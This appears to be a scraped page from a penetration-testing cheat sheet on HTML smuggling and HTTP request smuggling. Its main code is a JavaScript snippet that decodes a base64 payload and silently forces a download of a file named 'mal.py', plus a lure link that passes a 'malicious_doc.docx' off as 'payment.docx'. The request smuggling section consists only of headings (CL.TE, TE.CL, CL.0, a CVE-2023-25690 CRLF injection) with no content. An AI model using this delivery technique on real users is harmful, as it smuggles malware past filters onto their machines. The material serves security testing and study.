HTTP Request Smuggling
General
HTML Smuggling
Exploitation
<a href="/malicious_doc.docx" download="payment.docx">Cliek Here</a>var a = document.createElement('a');
a.download = 'malicious_doc.docx'Using JavaScript Blob
// Decode Base64 encoded malicious code
var malBase64 = '<BASE64_ENCODED_CODE>';
var malBinStr = window.atob(malBase64);
var malLen = malBinStr.length;
var malBytes = new Uint8Array(malLen);
for (var i = 0; i < malLen; i++) {
malBytes[i] = malBin.charCodeAt(i);
}
// Create a blob
// 'octet/stream' allows any file types.
var malBlob = new Blob([malBytes.buffer], {type: 'octet/stream'});
var malUrl = window.URL.createObjectURL(malBlob);
// Create a downloadable anchor (automatically download)
var a = document.createElement('a');
a.style.display = 'none';
a.href = malUrl;
a.download = 'mal.py';
document.body.appendChild(a);
// this anchor will be clicked automatically.
a.click();
document.body.removeChild(a);References
HTTP Request Smuggling
Investigation
BurpSuite Usefule Extension
Tips
CL.TE (Content-Length . Transfer-Encoding)
Exploit
TE.CL (Transfer-Encoding . Content-Length)
Exploit
TE.TE (Transfer-Encoding . Transfer-Encoding)
CL.0 (Content-Length: 0)
1. Prepare the Two Same Requests
2. Change the First Request to POST Request
3. Set the "Content-Length: 0" in the First Request
4. Set the "Connection: keep-alive" in the First Request
5. Send Requests in Order
HTTP/2 CL.0 (Content-Length: 0)
1. Prepare Request
2. Send Request
mod_proxy Misconfiguration on Apache ≥2.4.0, 2.4.55≤(CVE-2023-25690)
Send Request with CRLF (\r\n) Injection
\r\n) InjectionReferences
Tools
Samples

Last updated